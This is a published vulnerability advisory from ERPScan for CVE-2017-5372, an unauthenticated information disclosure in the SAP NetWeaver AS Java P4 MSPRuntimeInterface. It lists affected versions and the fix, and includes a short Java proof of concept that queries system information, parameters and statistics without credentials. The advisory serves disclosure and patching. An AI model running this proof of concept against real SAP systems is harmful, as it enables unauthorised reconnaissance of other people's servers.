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SAP NetWeaver AS Java P4 MSPRUNTIMEINTERFACE Information Disclosure

SAP NetWeaver AS Java P4 MSPRUNTIMEINTERFACE Information Disclosure
Posted Jan 19, 2017
Authored by Vahagn Vardanyan

An anonymous attacker can send a special request and get sensitive information about an SAP system using SAP P4.

tags | advisory
advisories | CVE-2017-5372
MD5 | 7b915e0caf92139af559f6a5525bd302

SAP NetWeaver AS Java P4 MSPRUNTIMEINTERFACE Information Disclosure

Change Mirror Download
Application: SAP NetWeaver AS JAVA

Versions Affected: SAP NetWeaver AS JAVA 7.11-7.4

Vendor URL: http://SAP.com

Bugs: Information disclosure

Sent: 10.03.2016

Reported: 11.03.2016

Vendor response: 11.03.2016

Date of Public Advisory: 12.10.2016

Reference: SAP Security Note 2331908

Author: Vahagn @vah_13 Vardanyan (ERPScan)



Description

1. ADVISORY INFORMATION

Title:[ERPSCAN-16-037] SAP NetWeaver AS JAVA P4 MSPRUNTIMEINTERFACE
INFORMATION DISCLOSURE

Advisory ID:[ERPSCAN-16-037]

Risk: high

Advisory URL:
https://erpscan.com/advisories/erpscan-16-037-sap-java-p4-mspruntimeinterface-information-disclosure/

Date published: 11.01.2017

Vendors contacted: SAP

2. VULNERABILITY INFORMATION

Class: Information disclosure

Impact: broken authentication

Remotely Exploitable: yes

Locally Exploitable: no

CVE: CVE-2017-5372

CVSS Information

CVSS Base Score v3: 7.3 / 10

CVSS Base Vector:

AV : Attack Vector (Related exploit range) Network (N)

AC : Attack Complexity (Required attack complexity) Low (L)

PR : Privileges Required (Level of privileges needed to exploit) None (N)

UI : User Interaction (Required user participation) None (N)

S : Scope (Change in scope due to impact caused to components beyond the
vulnerable component) Unchanged (U)

C : Impact to Confidentiality Low (L)

I : Impact to Integrity Low (L)

A : Impact to Availability Low (L)


3. VULNERABILITY DESCRIPTION

Anonymous attacker can send a special request and get sensitive information
about an SAP system using SAP P4.

4. VULNERABLE PACKAGES


SERVERCORE

7.11
7.20
7.30
7.31
7.40
7.50


5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note 2331908



6. AUTHOR

Vahagn Vardanyan (ERPScan)



7. TECHNICAL DESCRIPTION

SAP AS JAVA P4 function msp (MSPRuntimeInterface) does not require any
authorization to call the following functions:


getInformation

getParameters

getServiceInfo

getStatistic

getClientStatistic

PoC (Java language)


package sap_p4_poc;

*****

Properties p = new Properties();

p.put("java.naming.factory.initial",
"com.sap.engine.services.jndi.InitialContextFactoryImpl");

p.put("java.naming.provider.url", SAP_IP+":"+SAP_PORT);

InitialContext initialContext = new InitialContext(p);

Context initialContext = initialContext;

MSPRuntimeInterface serialObj =
(MSPRuntimeInterface)initialContext.lookup("msp");

System.out.println("----------------" + serialObj +
"----------------------------------------");

System.out.println("----------------SID:" + serialObj.getSystemId() +
"----------------------------------------");

System.out.println("----------------------getInformation:--------------------------------");

TreeMap Inf = serialObj.getInformation();

print_treee_map(Inf);

System.out.println("----------------------getParameters:----------------------------------");

TreeMap Par = serialObj.getParameters();

print_treee_map(Par);

System.out.println("-----------------------getServiceInfo:---------------------------------");

TreeMap Serv = serialObj.getServiceInfo();

print_treee_map(Serv);

System.out.println("-----------------------getStatistic:---------------------------------");

TreeMap Stat = serialObj.getStatistic();

print_treee_map(Stat);

System.out.println("-----------------------getClientStatistic:---------------------------------");

TreeMap Cli = serialObj.getClientStatistic();

print_treee_map(Cli);



8. REPORT TIMELINE

Reported: 11.03.2016

Vendor response: 11.03.2016

Date of Public Advisory: 12.10.2016


9. REFERENCES

https://erpscan.com/advisories/erpscan-16-037-sap-java-p4-mspruntimeinterface-information-disclosure/


10. ABOUT ERPScan Research

ERPScan research team specializes in vulnerability research and analysis of
critical enterprise applications. It was acknowledged multiple times by the
largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for
discovering more than 400 vulnerabilities in their solutions (200 of them
just in SAP!).

ERPScan researchers are proud of discovering new types of vulnerabilities
(TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug"
nomination at BlackHat 2013.

ERPScan experts participated as speakers, presenters, and trainers at 60+
prime international security conferences in 25+ countries across the
continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for
several Fortune 2000 companies.

ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP security
researches.

ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them there are Reuters, Yahoo, SC
Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc.

Our team consists of highly-qualified researchers, specialized in various
fields of cybersecurity (from web application to ICS/SCADA systems),
gathering their experience to conduct the best SAP security research.

11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally and
enables large Oil and Gas, Financial, Retail and other organizations to
secure their mission-critical processes. Named as an aEmerging Vendora in
Security by CRN, listed among aTOP 100 SAP Solution providersa and
distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in
discovering and resolving security vulnerabilities. ERPScan consultants
work with SAP SE in Walldorf to assist in improving the security of their
latest solutions.

ERPScanas primary mission is to close the gap between technical and
business security, and provide solutions for CISO's to evaluate and secure
SAP and Oracle ERP systems and business-critical applications from both
cyberattacks and internal fraud. As a rule, our clients are large
enterprises, Fortune 2000 companies and MSPs, whose requirements are to
actively monitor and manage security of vast SAP and Oracle landscapes on a
global scale.

We afollow the suna and have two hubs, located in Palo Alto and Amsterdam,
to provide threat intelligence services, continuous support and to operate
local offices and partner network spanning 20+ countries around the globe.


Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301

Phone: 650.798.5255

Twitter: @erpscan

Scoop-it: Business Application Security
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